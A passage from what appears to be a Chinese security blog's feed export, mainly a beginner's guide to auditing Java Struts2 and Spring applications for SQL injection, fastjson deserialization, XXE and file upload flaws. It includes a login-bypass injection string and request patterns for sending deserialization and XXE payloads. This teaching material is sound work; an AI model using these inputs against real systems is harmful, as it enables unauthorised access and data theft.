src="/images/106/fpnQ_sZaZbYKzO8tPH09uguw6RcF2H2vfHvzHUSP_Y0.png" alt="image"></p><p>接口中@path注解就是请求路径，参数content就是触发点，参数dtype、appkey随便填，把xxe payload编码成base64后传过去就行了</p><p> </p><p>最后，第二个点，说到刚刚的NiganshaServiceImpl，找setCurrent</p><p>Client.java：</p><p><img src="/images/106/GRX4uFvMiHLio9LPYJtMnZa2Bn5JEfvVwSC_WxrJZE.png" alt="image"></p><p>将其搜之</p><p>可以看到参数xml是被其封装到了Client中</p><p><img src="/images/106/iEMKAVdJIFLiC0AxsGuFy0ouFeEqvt_aTiIUBaUzRWY.png" alt="image"></p><p>ClientMeta：</p><p><img src="/images/106/oTXbIAZ1nQoFHnCzunHaCz80dqQs-PYWrUZbZhV0_o0.png" alt="image"></p><p>所以再往回看，实际getCurrent获取到的就是setCurrent的内容</p><p><img src="/images/106/AQsgACutCeciokutL3moiS7pr7pyd9HK54oT_3wgoDs.png" alt="image"></p><p><img src="/images/106/UaPFubETXLwPdcc3MB0hiare803b6G-fXj5MT0Fes_0.png" alt="image"></p><p>然后后面就跟第一个点一样往上找url映射就行了</p><h1 id="任意文件上传记录"><a href="#任意文件上传记录" class="headerlink" title="任意文件上传记录"></a>任意文件上传记录</h1><p>UploadController.class</p><p><img src="/images/106/1.png" alt="image"></p><p>module变量会当成目录传进file对象，filename没有校验格式</p><p><img src="/images/106/2.png" alt="image"></p><p><code>POST /upload/1/2</code></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>2020代码审计总结（2022修改版_代码审计快速入门）</title>
    <link href="/2023/01/18/94/"/>
    <url>/2023/01/18/94/</url>
    
    <content type="html"><![CDATA[<h1 id="1-识别框架"><a href="#1-识别框架" class="headerlink" title="1. 识别框架"></a>1. <strong>识别框架</strong></h1><p>在打开源码时想判断系统框架，可以看其目录结构，例如一个struts2项目中web.xml文件存在<code>Filter-class</code>为:</p><p><code>org.apache.struts2.dispatcher.xxxx</code></p><p><img src="/images/94/03g8ryiNcXCmWDb2sxCLwPeQMC5875XJ0B6JXTsJ-rs.png" alt="image"></p><p>以及resources目录（或项目根目录下）中存在strtus.xml </p><p><img src="/images/94/ahoRqZ8OmX8nIqmXjmxdmCNXg9HIYjM3lDlpCNKnq2k.png" alt="image"></p><p>如果存在pom那pom.xml中存在struts依赖信息</p><p><img src="/images/94/MqkiTRDMzFXqnrbMWaVNdyi7xXk16x5PgqbLSZuCQWw.png" alt="image"></p><p>而springmvc的特征则是在pom.xml中会存在相关依赖</p><p><img src="/images/94/pv49Mq5xeCC_YLA8IcSkam-d9u1aGE1gJg3UpeUqxps.png" alt="image"></p><p>web.xml中存在关于<code>DispatcherServlet</code>的注册配置</p><p><img src="/images/94/Dytdf6v-onI-WK6MTT40N5OwSOJmwo_02hE_CLMdbcU.png" alt="image"></p><p>其他的诸如jfinal之类的也会有对应的特征</p><p> </p><h1 id="2-审计思路"><a href="#2-审计思路" class="headerlink" title="2. 审计思路"></a>2. <strong>审计思路</strong></h1><h2 id="2-1-Struts2"><a href="#2-1-Struts2" class="headerlink" title="2.1. Struts2"></a>2.1. <strong>Struts2</strong></h2><h3 id="2-1-1-映射配置"><a href="#2-1-1-映射配置" class="headerlink" title="2.1.1. 映射配置"></a>2.1.1. 映射配置</h3><h4 id="2-1-1-1-struts-xml"><a href="#2-1-1-1-struts-xml" class="headerlink" title="2.1.1.1. struts.xml"></a>2.1.1.1. <strong>struts.xml</strong></h4><p>通过struts.xml文件,查看存在哪些action,以及处理具体请求的java文件路径</p><p>例如:</p><p><img src="/images/94/Irhlilxuo-2MKx2odSFmBdKaQYNPTtI842ZBOdQ4oS4.png" alt="image"></p><h5 id="标签"><a href="#标签" class="headerlink" title="标签"></a><strong><action>标签</strong></h5><p>如图所示，<code>&lt;action</code>标签就是处理请求的配置标签，一个标签表示处理一个请求，在该标签中各字段的属性解释为：</p><p><strong>name：</strong>请求的uri，即请求的路径；</p><p><strong>class：</strong>负责处理该请求的类；</p><p><strong>method：</strong>负责处理该请求的类里的具体方法</p><h5 id="标签-1"><a href="#标签-1" class="headerlink" title="标签"></a><strong><result>标签</strong></h5><p><code>&lt;result&gt;标签</code>是结果视图，作为返回结果的，即当一个action处理完之后返回字符串的结果码。框架可以根据这个返回的字符串，映射到指定的页面。<code>result元素</code>可以分为两部分：一是结果映射，一部分是返回结果类型。</p><p><strong>结果映射</strong></p><p><code>result</code>有两个属性可以配置：<code>name属性</code>和<code>type属性</code>。其中的<code>name属性</code>主要用来指定资源的逻辑名称，实际名称在标签内部指定。<code>type属性</code>就是result的返回类型，通俗的说，在该标签中，<code>name属性</code>是与处理方法的返回结果对应，<code>type属性</code>表示结果类型，场景如下：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">public</span> String <span class="hljs-title">login</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>       <span class="hljs-keyword">if</span>(<span class="hljs-keyword">this</span>.req==<span class="hljs-keyword">null</span>)&#123;<br>       <span class="hljs-keyword">return</span> “failer”;<span class="hljs-comment">//name=”failer”</span><br>&#125;<br>        <span class="hljs-keyword">return</span> “success”;<span class="hljs-comment">//name=”success”</span><br>    &#125;<br></code></pre></div></td></tr></table></figure><p>当方法返回failer时就会跳转到前端/failer.jsp，反之就会跳转到/success.jsp</p><p><strong>结果类型</strong></p><p>结果类型中常用的有四种：<code>dispatcher</code>、<code>redirect</code>、<code>redirectAction</code>和<code>chain</code>。其中<code>dispatcher</code>相当于转发，<code>redirect</code>相当于重定向，<code>redirecAction</code>也是重定向，只不过使用该结果类型的时候，一般是重定向到某个action，最后一种主要用于action的链式处理。其他的还有plainText（用于显示页面的原始内容，比如Servlet或者jsp的源代码）、xslt等 </p><p>回到图中配置解释，在该图中</p><p><img src="/images/94/Irhlilxuo-2MKx2odSFmBdKaQYNPTtI842ZBOdQ4oS4.png" alt="image"></p><p>login即请求/login，由LoginAction类的login方法处理</p><h5 id="请求后缀配置"><a href="#请求后缀配置" class="headerlink" title="请求后缀配置"></a><strong>请求后缀配置</strong></h5><p>要确定请求的后缀，可以查看 struts.xml或properties文件的配置</p><figure class="highlight xml"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">constant</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;struts.action.extension&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;do&quot;</span> /&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">constant</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;struts.action.extension&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;action&quot;</span> /&gt;</span> <br></code></pre></div></td></tr></table></figure><p>或</p><figure class="highlight xml"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs xml">struts.action.extension = do<br>struts.action.extension = action<br></code></pre></div></td></tr></table></figure><p>表示.do或.action后缀访问</p><h5 id="struts2的动态方法调用和通配符映射"><a href="#struts2的动态方法调用和通配符映射" class="headerlink" title="struts2的动态方法调用和通配符映射"></a><strong>struts2的动态方法调用和通配符映射</strong></h5><p>除了以上的映射写法，st2还有一种动态方法调用，但是Struts2默认关闭该功能，需要使用需要手动打开，配置如下</p><p><code>struts.enable.DynamicMethodInvocation = true </code> </p><h6 id="动态方法调用"><a href="#动态方法调用" class="headerlink" title="动态方法调用"></a><strong>动态方法调用</strong></h6><p>还是这个图</p><p><img src="/images/94/Irhlilxuo-2MKx2odSFmBdKaQYNPTtI842ZBOdQ4oS4.png" alt="image"></p><p>当动态方法启用后，以action后缀为例，原来的<code>/login.action</code>会变成<code>/login!login.action</code>（Action配置名!方法名.扩展名），方法调用一样，由LoginAction类的login方法处理</p><h6 id="通配符映射"><a href="#通配符映射" class="headerlink" title="通配符映射"></a><strong>通配符映射</strong></h6><p>由上图的写法变为下面的写法：</p><figure class="highlight xml"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">action</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;*_*&quot;</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;cn.thc.web.action.&#123;1&#125;Action&quot;</span> <span class="hljs-attr">method</span>=<span class="hljs-string">&quot;&#123;2&#125;&quot;</span>&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">result</span>&gt;</span>success.jsp<span class="hljs-tag">&lt;/<span class="hljs-name">result</span>&gt;</span>   <br><span class="hljs-tag">&lt;<span class="hljs-name">result</span>&gt;</span>failer.jsp<span class="hljs-tag">&lt;/<span class="hljs-name">result</span>&gt;</span>  <br><span class="hljs-tag">&lt;/<span class="hljs-name">action</span>&gt;</span>  <br></code></pre></div></td></tr></table></figure><p>该写法的请求URL表现为：<code>/Login_login</code>，同样是由LoginAction里的login方法处理。<code>&#123;1&#125;</code>、<code>&#123;2&#125;</code>表示通配符的位置，这里<code>&#123;1&#125;</code>表示类名<code>Login</code>，<code>&#123;2&#125;</code>表示方法名<code>login</code>。</p><p> </p><p>在审计漏洞之前，我们需要了解一下web各层流程</p><h3 id="1-1-1-层次介绍"><a href="#1-1-1-层次介绍" class="headerlink" title="1.1.1. 层次介绍"></a>1.1.1. <strong>层次介绍</strong></h3><p>通常在struts2中</p><p><strong>action为业务逻辑处理层</strong>，action层接收来自视图层（前端，用户操作层）的请求，并接收请求参数，同时负责调用模型Model层方法来完成业务逻辑的处理，最后控制程序的流程，选择一个合适的视图，将结果显示给用户，一般这个目录下文件的特征表现为<code>XxxxAction.java</code>，比如<code>NovyAction.java</code>；</p><p> </p><p><strong>dao为数据持久层</strong>，在这层中通常是用来做数据库处理的，增删查改都在这里，一般这个目录下文件的特征表现为<code>xxxxDao.java</code>，比如<code>NovyDao.java</code>。</p><p> </p><p>在web运行处理请求时流程为<strong>视图层</strong>&lt;-&gt;<strong>业务逻辑处理层</strong>&lt;-&gt;<strong>数据持久层</strong></p><h3 id="1-1-2-实例"><a href="#1-1-2-实例" class="headerlink" title="1.1.2. 实例"></a>1.1.2. <strong>实例</strong></h3><p>Idea打开项目，查看目录结构</p><p><img src="/images/94/kK8FAw6EtIZqkqhKB8DbuAM36jgTAi87NX0kmjaFCtM.png" alt="image"></p><p>根据之前3.1.1.介绍，查看映射配置</p><p>查看struts.xml中含有哪些action以便找到处理请求对应的类</p><p><img src="/images/94/xKobzkA0DPKQJAYr3IWuXx9LBwkKRNOFPSx2pRnp5TM.png" alt="image"></p><p>根据配置我们知道请求/Gologin由GoLogin类处理，所以我们可以根据路径跟进GoLogin类，其路径组成对应为</p><p><code>src/com/action/GoLogin.java</code></p><p>在idea里，一般可以按住ctrl+鼠标左键点击即可跳转到类</p><p><img src="/images/94/ZWOFKpJHpCrALVWBtA3eGHFQzMw18b32IDPwgNvaGiw.png" alt="image"></p><h4 id="1-1-2-1-代码分析"><a href="#1-1-2-1-代码分析" class="headerlink" title="1.1.2.1. 代码分析"></a>1.1.2.1. <strong>代码分析</strong></h4><p>在<code>GoLogin</code>类中我们就可以看到一些对登陆的处理，如果我们找SQL注入的话就看处理登陆参数的相关方法，比如此处new了一个<code>AdminDao</code>类下的<code>checkLogin</code>方法来处理<code>username</code>及<code>Password</code>，再根据判断返回的结果是否为空来显示相应内容</p><p><img src="/images/94/7U6Q0RPlUHcYtWwkNA3uOJZRby_2OYnjGQhdwUsnqQ0.png" alt="image"></p><p>根据<code>3.1.2</code>介绍我们知道<code>AdminDao</code>为数据持久层，那么<code>ChekLogin</code>方法通常就是对登陆做数据库操作的地方，所以我们跟进一下该方法</p><p><img src="/images/94/cLpumxhHC27fzoBXaru3z2cOdf68_QGW3-W5ndyJEis.png" alt="image"></p><p>在此处因为直接拼接请求参数，然后带入数据库去执行查询导致了SQL注入漏洞的产生</p><h4 id="1-1-2-2-漏洞验证"><a href="#1-1-2-2-漏洞验证" class="headerlink" title="1.1.2.2. 漏洞验证"></a>1.1.2.2. <strong>漏洞验证</strong></h4><p>根据前面<code>3.1.1.2</code>介绍我们知道其请求路由为<code>/Gologin</code>，参数表现为</p><p><code>username=aaa&amp;password=aaa</code></p><p>根据漏洞位置我们模拟其sql语句为</p><p><code>Select * from Admin where Admin_Username=&#39;username&#39; and Admin_Password=&#39;password&#39;</code></p><p>所以登陆时我们可以使用万能用户名来进行登陆绕过</p><p><code>admin&#39;or&quot;=&quot;or--+</code></p><p><img src="/images/94/WYa92VOnZTtxfFi-BfTVvypxp-b37fu-gouu2v-5mSs.png" alt="image"></p><h3 id="本章思考"><a href="#本章思考" class="headerlink" title="本章思考"></a><strong>本章思考</strong></h3><p>在示例中，我们可以看到映射配置中并没有配置具体处理方法，那怎么确定哪个方法是用来处理请求的呢？</p><h4 id="Action接口与ActionSupport类"><a href="#Action接口与ActionSupport类" class="headerlink" title="Action接口与ActionSupport类"></a><strong>Action接口与ActionSupport类</strong></h4><h5 id="Action接口"><a href="#Action接口" class="headerlink" title="Action接口"></a><strong>Action接口</strong></h5><p>这个时候就要说到st2的特性，st2的核心功能就是action，对于开发人员来说，使用st2开发主要就是编写action，为了让开发action类更规范，st2提供了一个Action接口，接口如下所示</p><p><img src="/images/94/2xbt9PA3nvHCl47ZPYbGTXhdc182yhN6Okhm7MRoDMc.png" alt="image"></p><p>当使用Action接口创建action的时候，就必须要实现<code>execute</code>方法，回到思考问题上，此时的请求处理就由实现的<code>execute</code>方法执行，即方法实现要在该方法里编写</p><h5 id="ActionSupport类"><a href="#ActionSupport类" class="headerlink" title="ActionSupport类"></a><strong>ActionSupport类</strong></h5><p>除了实现Action接口之外也可以通过继承<code>ActionSupport</code>来创建action，因为<code>ActionSupport</code>是接口Action的实现类，所以就不用必须再重新实现<code>execute</code>方法，此时就可以自定义一些方法实现，即映射配置里指定的处理方法</p><h2 id="1-1-Spring"><a href="#1-1-Spring" class="headerlink" title="1.1. Spring"></a>1.1. <strong>Spring</strong></h2><h3 id="1-1-1-配置及依赖"><a href="#1-1-1-配置及依赖" class="headerlink" title="1.1.1. 配置及依赖"></a>1.1.1. 配置及依赖</h3><h4 id="1-1-1-1-Springmvc-xml"><a href="#1-1-1-1-Springmvc-xml" class="headerlink" title="1.1.1.1. Springmvc.xml"></a>1.1.1.1. <strong>Springmvc.xml</strong></h4><p>在springMVC配置文件中,<code>component-scan</code>是用来查找Controller类所在位置，<code>org.springframework.web.servlet.view.InternalResourceViewResolver</code>为自定义视图解析器</p><p><img src="/images/94/qdCNdZFlGwe4FwThj_rK8Qd4Tob6n1IR7kDrqmaE488.png" alt="image"></p><h4 id="1-1-1-2-pom-xml"><a href="#1-1-1-2-pom-xml" class="headerlink" title="1.1.1.2. pom.xml"></a>1.1.1.2. <strong>pom.xml</strong></h4><p>它是Maven项目中的文件，使用XML表示，也可以由此判断该项目是否为maven项目，该配置文件通常用来声明项目信息、环境的配置、引用组件依赖等等</p><p><img src="/images/94/NqHLOZ6Zw1XfChgS-6OynjX9eXlyAsOom5L6v01T-nA.png" alt="image"></p><h3 id="1-1-2-层次介绍"><a href="#1-1-2-层次介绍" class="headerlink" title="1.1.2. 层次介绍"></a>1.1.2. 层次介绍</h3><p>通常在springmvc中</p><p><strong>controller为业务逻辑层</strong>，用来接收用户的请求，然后将参数传递到Service层处理业务逻辑，由impl做具体实现，获取到结果后再返回传递，一般请求的url就写在controller中，比如</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-meta">@Controller</span> <br><span class="hljs-meta">@RequestMapping(value = &quot;/hinovy&quot;)</span> <br></code></pre></div></td></tr></table></figure><p>则请求url为<code>http://localhost/hinovy</code></p><p>该层级的文件一般为<code>xxxcontroller.java</code>，比如<code>NovyController.java</code></p><p> </p><p><strong>Service</strong>是业务接口层，接收<code>Controller层</code>数据，与<code>DAO/Mapper层</code>交互，处理业务逻辑，生成<code>responseDTO</code>数据并返回<code>Controller层</code> ,该层文件一般为xxxServce.java，比如NovyService.java，此处是接口定义，就是定义一些方法，没有这些方法的实现，但是有时候数据操作会在这里发生</p><p> </p><p><strong>Mapper</strong>是数据持久层，对数据库进行数据持久化操作，他的方法语句是直接针对数据库操作的，数据持久层文件通常都是<code>xxxMapper.xml</code>，比如<code>NovyMapper.xml</code>，它的上一层是Mapper.java，因为业务实现无法直接与xml层做数据交互，所以就要有一个接口来做中转。</p><p> </p><p><strong>Dao</strong>是数据接口层，一些数据请求（接口）会在这里发生（一般用于内部实现）</p><p> </p><p><strong>Entity</strong>是实体处理层，用于存放我们的实体类，与数据库中的属性值基本保持一致（定义前端传来的请求参数）</p><p> </p><p><strong>Implements</strong>是服务实现层用来处理一些方法的实现（这个方法干了啥干了啥），该层文件一般为<code>xxxImpl.java</code>，比如<code>NovyImpl.java</code>，impl 是把mapper和service进行整合的文件，有时候一些sql操作也会发生在这里</p><p> </p><p>在web运行时处理请求的流程为<strong>Controller&lt;-&gt;Service&lt;-&gt;impl&lt;-&gt;mapper</strong></p><h3 id="1-1-3-实例"><a href="#1-1-3-实例" class="headerlink" title="1.1.3. 实例"></a>1.1.3. 实例</h3><p>这里以含有漏洞的springboot项目做案例，Idea打开项目，等待依赖导入完成</p><p><img src="/images/94/Pvi1ycOvZrjIO5U_U63enDgH-A42PMIrzZzs02YxavA.png" alt="image"></p><p>发生报错的就自己下载相关组件导入</p><p>查看目录结构</p><p><img src="/images/94/bL_IwGx9NQNDVIb0NjrnPVBzNFvICLZ0qvHyj_VVecs.png" alt="image"></p><p>按照3.2.2介绍得知流程为<strong>controller-&gt;services-&gt;mapper</strong>,按照3.2.2对pom的介绍，我们先看pom.xml引用了哪些组件，以此来找出包含漏洞版本的组件，然后再看controller及其他。</p><p>在pom文件中，我们可以看到其引用了含有漏洞版本的fastjson</p><p><img src="/images/94/gnZtMNKK7NqOehh64oMw0lR3tcguHdWM1g_P0TGgy3k.png" alt="image"></p><p>但是看到依赖还不行，要定位到用到该依赖的地方，可以全局搜<code>parseObject</code>或<code>parse</code>来查看请求是否可控。</p><p>要找出所有业务逻辑层，可以在idea中利用file mask来查看所有controller：<code>*Controller.java</code>，或全局搜索<code>@Controller</code></p><p><img src="/images/94/yq5-MY8A_S1uZEfRY_X-mFs6WRUxE-vTX2VPq-pnrik.png" alt="image"></p><p>随便点进一个搜索结果，从<code>3.2.2</code>介绍得知此处请求url为<code>/informlistpaging</code>，由<code>informListPaging</code>方法处理</p><p><img src="/images/94/iNIcOTAcDSaGYfFV5uBZYkrAbIERufzOvEIuf3BVyhM.png" alt="image"></p><p>在此处我们可以看到<code>informListPaging</code>方法有很多注解，其中<code>@RequestParam</code>是获取请求参数，参数名为value值，拿basekey做例子，在该方法中被定义为字符串请求参数。在SpringMvc进行获取请求参数，常见的一般有三种：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-number">1.</span>request.getParameter(<span class="hljs-string">&quot;参数名&quot;</span>)<br><br><span class="hljs-number">2.</span>用<span class="hljs-meta">@RequestParam</span>注解获取<br><br><span class="hljs-number">3.</span>Springmvc默认支持的数据类型接收参数，可直接通过controller方法参数对应jsp中请求参数name直接获取<br></code></pre></div></td></tr></table></figure><p>如果是<code>@RequestBody</code>则是获取整个请求体</p><h4 id="1-1-1-1-代码分析"><a href="#1-1-1-1-代码分析" class="headerlink" title="1.1.1.1. 代码分析"></a>1.1.1.1. <strong>代码分析</strong></h4><p>pom.xml</p><p><img src="/images/94/8G4KjJ2_WVlOGBXzQ3XLyDBKL5FgLP68_2DG7EyfDyw.png" alt="image"></p><p>看到了存在漏洞的组件，全局搜索<code>json.parseObject</code>或<code>JSONObject.parseObject`` </code>来查找参数可控的地方</p><p><img src="/images/94/oxiQLeU4W3W_skNuz8bqpaAMdHms3phMpQa88MoNT94.png" alt="image"></p><p>在该类中<code>getCommonFields</code>方法里对<code>param</code>参数做了反序列化，但是还没有看到请求的url，所以要往上跟进该方法，看看有哪里调用了<code>getCommonFields</code></p><p><img src="/images/94/OksuWgdZQXT-Z6I4VuUoQTyf4BAt31q146Lny71OupY.png" alt="image"></p><p>在一处业务逻辑层中看到调用的地方，在该方法中，将参数<code>param</code>传进了<code>getCommonFields</code>方法进行反序列化，由于参数是可控的，所以我们可以直接利用，url请求表现为：</p><p><code>/getCommonFields?param=url编码的payload</code></p><p>同样的，按照<code>3.1.3.1</code>的思路，我们想要找注入就找到处理该参数的地方</p><p>拿<code>informListPaging</code>方法的<code>basekey</code>参数为例</p><p><img src="/images/94/zBpVWsn3KmONqhVeMm8LFGbj44tmiqONTgUGwA3NL-c.png" alt="image"></p><p>在80行中，几个参数传进<code>sortMyNotice</code>方法进行处理，这里需要注意的是，<code>nm</code>并不是一个类，而是一个被定义的接口，所以我们需要注意<code>nm</code>在哪里被定义了</p><p><img src="/images/94/ExtQQg693lOAQUFT6pUXNVPFyP2_9XC22eQqPxWQdwY.png" alt="image"></p><p>跟进<code>NoticeMapper</code></p><p><img src="/images/94/J78NS2w5jCwJKJHIFsPZgjAJDHp6fJS5-nNlz2h08Eg.png" alt="image"></p><p>此处为数据持久层接口，为<code>nm</code>提供了<code>sortMyNotice</code>方法，但这里还不是数据库操作的地方，因为controller无法直接调用mapper.xml的方法，所以就需要这个mapper.java来做一个接口中转，所以我们根据<code>3.2.2</code>介绍，转到mapper.xml层</p><p>全局搜索<code>sortMyNotice</code>方法</p><p><img src="/images/94/-i_kglrMczGdcxhG7r_ps-5dBq996U4cdUygM3Zb-G8.png" alt="image"></p><p>转到notice-mapper.xml</p><p><img src="/images/94/ghiiy5z5zpOaGpUn9DwxlHlowa5OFfmOLLapMvLPdGc.png" alt="image"></p><p>此处的<code>select id</code>即为调用到的方法，往下为sql语句，我们可以看到在like后面直接用<code>%$&#123;&#125;%</code>进行模糊查询，没有对参数做预编译，导致了漏洞的产生</p><h4 id="1-1-1-2-漏洞验证"><a href="#1-1-1-2-漏洞验证" class="headerlink" title="1.1.1.2. 漏洞验证"></a>1.1.1.2. <strong>漏洞验证</strong></h4><p>在<code>3.2.2</code>的介绍中得知，根据controller构造url：</p><p><code>http://localhost/informlistpaging?baseKey=</code></p><p><img src="/images/94/qxLZEb9G-JLSu7bEdOi3rCINhWiTaNMJTIqSTPjcd1s.png" alt="image"></p><h3 id="本章思考-1"><a href="#本章思考-1" class="headerlink" title="本章思考"></a><strong>本章思考</strong></h3><p>有人会问按照介绍，那service层呢？在这里</p><p><img src="/images/94/fbHAaTvjSRZ8RyanLQFC4oAs19kgvs_XRtxu4E2xT0M.png" alt="image"></p><p><code>imformRelationService</code>的<code>setList</code>方法对mapper处理返回的数据进行封装处理后返回到controller，然后controller返回到视图层，流程结束</p><p><img src="/images/94/CLmsZ6R5o1YTaphZMzdP6u7ZOBFhIDImALGvA2yuW7U.png" alt="image"></p><p> </p><h5 id="service只是接口？"><a href="#service只是接口？" class="headerlink" title="service只是接口？"></a><strong>service只是接口？</strong></h5><p>有时候sql查询会直接发生在<code>XXXservice</code>，比如</p><p>某个项目中的某个方法有个查询，定义了一个字符串参数<code>defkey</code></p><p><img src="/images/94/XaGRVWqDcE6Pi6nzN6oBlDWzp9gKR8BlIeAX21faUFk.png" alt="image"></p><p>查看<code>wfservice</code>在哪里被定义，也可以直接ctrl+左键直接进入方法</p><p><img src="/images/94/02T7OkwYMINDtylPswQhAWDCBcPu3bCJDjGaFYfBBqM.png" alt="image"></p><p>跟进<code>WorkFlowService</code>，在该<code>WorkFlowService</code>中搜索前面调用到的<code>getHavedonePage</code>方法，在该方法中含有一条没有进行预编译sql查询，此处直接进行数据查询导致了漏洞的产生</p><p><img src="/images/94/_TWEVPVzDJTeIzCIVTiptF4-FMBEQpV7B2TZp3AQhL8.png" alt="image"></p><p><img src="/images/94/ULB2W5PiSPHPf3FPK29ErIHb0RDx8lfmJvDaOHWf330.png" alt="image"></p><p>所有这个名称是看开发，有时候文件名只是文件名，还是要具体看类名前置，如果是<code>public interface WorkFlowService</code>那说明这个类是接口类，具体操作不会发生在这里，这个时候就要找实现它的类</p><h5 id="跟到接口断了"><a href="#跟到接口断了" class="headerlink" title="跟到接口断了"></a><strong>跟到接口断了</strong></h5><p>当跟进方法时跟到接口断了怎么办，比如出现这种情况</p><p>controller里有一个密码重置</p><p><img src="/images/94/4jeraathzV4Zn40QVcNnzepWvBBU2HujHtnIkC-buEg.png" alt="image"></p><p>跟进<code>updatePassword</code>方法</p><p><img src="/images/94/2jIHU6G-7zzKfvSdsr72a1f3UUbIEDJGl0XXdaFHs6Y.png" alt="image"></p><p>到这里之后只看到提供给<code>userService</code>的<code>updatePassword</code>方法，没有看到具体的实现，</p><p>不要慌，根据<code>3.2.2</code>的介绍，我们还有个impl没有看，有接口那必定有一个实现该接口的类。全局搜索<code>implements UserService</code></p><p><img src="/images/94/l_1IhQ2d85v8SQy7kmG7hjB1cbi4c9v_L-Ho_nUCdZU.png" alt="image"></p><p>就可以看到对接口<code>UserService</code>的<code>updatePassword</code>方法的实现</p><p><img src="/images/94/g84RdzSd18uTYbMI_c1ixlyf6m6kdzlCasiQVfH1w98.png" alt="image"></p><p>这时候再继续往下跟就可以了，流程一样</p><h5 id="返回结果"><a href="#返回结果" class="headerlink" title="返回结果"></a><strong>返回结果</strong></h5><p>在spring项目中，<code>@Controller</code>跟<code>@RestController</code>的返回类型是不一致的</p><h6 id="Controller"><a href="#Controller" class="headerlink" title="@Controller"></a><strong>@Controller</strong></h6><p>在使用<code>@Controller</code>注解时，该请求处理的返回结果需要配合视图解析器<code>InternalResourceViewResolver</code>才行，也就是说，当某个请求使用了<code>@Controller</code>，那么它return的内容就必须是前端页面，且页面文件必须存在，场景如下</p><p><img src="/images/94/jSTQeFQCoTvGU4TDIKQG6wUVE6vA-nTofU2Vu3K5MM8.png" alt="image"></p><p>该controller将返回<code>hi</code>或<code>index</code>页面，此时静态资源中就要存在<code>hi</code>、<code>index.html</code>或<code>jsp</code>文件</p><h6 id="RestController"><a href="#RestController" class="headerlink" title="@RestController"></a><strong>@RestController</strong></h6><p>如果只是使用<code>@RestController</code>注解，则Controller中的方法无法返回jsp页面，或者html，配置的视图解析器 <code>InternalResourceViewResolver</code>不起作用，返回的内容就是Return 里的内容。场景如下：</p><p><img src="/images/94/CUWMpZ1OGtfanaqpHDTH8V9AOzJzxdOf7XhgCQgQCsE.png" alt="image"></p><p>此时该controller返回的只是字符串hi或index，不会跳转到对应页面。</p><h1 id="1-小技巧"><a href="#1-小技巧" class="headerlink" title="1. 小技巧"></a>1. <strong>小技巧</strong></h1><h2 id="1-1-命名"><a href="#1-1-命名" class="headerlink" title="1.1. 命名"></a>1.1. <strong>命名</strong></h2><p>无论是struts还是springmvc/boot，按照我的理解，为了方便区分和后续其他开发，除非另类命名（比如<code>3.1.3</code>），在整个请求处理流程中对于类名的前置命名都是一致的，比如</p><p><strong>Novy</strong>Controller-&gt;<strong>Novy</strong>Service-&gt;(<strong>Novy</strong>ServiceImpl-&gt;)<strong>Novy</strong>Mapper.xml</p><p>或者下一层级会多出个别字符<code>INovy</code>、<code>PNovy</code>等。而不会出现</p><p><strong>Novy</strong>Controller-&gt;<strong>Test</strong>Service-&gt;(<strong>Why</strong>ServiceImpl-&gt;)<strong>Oasd</strong>Mapper.xml</p><p>这种情况，所以在审计过程中跟进代码时利用全局搜索能更好的提高审计效率</p><p><img src="/images/94/YYNMUOwvD9nF9cU1Kr4sCu08wWnqoGDCaZ6iiwt9Y-c.png" alt="image"></p><p>当然，有其他实现类实现统一接口的时候情况按前面本章思考说的层级跟进一样跟就行了</p><h2 id="1-2-方法的跟进"><a href="#1-2-方法的跟进" class="headerlink" title="1.2. 方法的跟进"></a>1.2. <strong>方法的跟进</strong></h2><p>通常调用方法时都是类名.方法名，或者写了一个接口，然后再定义一次，如下</p><p><code>private EntityManager em;</code></p><p>这样em就可以用到<code>EntityManager</code>里的方法</p><p>比如某个项目有一个序列化工具类<code>SerializeUtil</code>，在该类里有一个<code>deserialize</code>方法来反序列化接收的request数据</p><p><img src="/images/94/sS9QgkQ6LplKU2l3dwmsvqCBWtMBJ4NnEvp3UWK48MU.png" alt="image"></p><p>而在controller中定义了一个接口<code>fvlh</code></p><p><img src="/images/94/8HVW5PIyG0ds9amUXejUPH6EUiE8q6io4RKfwH_PZcc.png" alt="image"></p><p>然后进行调用</p><p><code>fvlh.deserialize(request);</code></p><p><img src="/images/94/Kx6YeNhVYTyRzkuKG5Vt83Fc85sNj8l8xrXD92YAWYI.png" 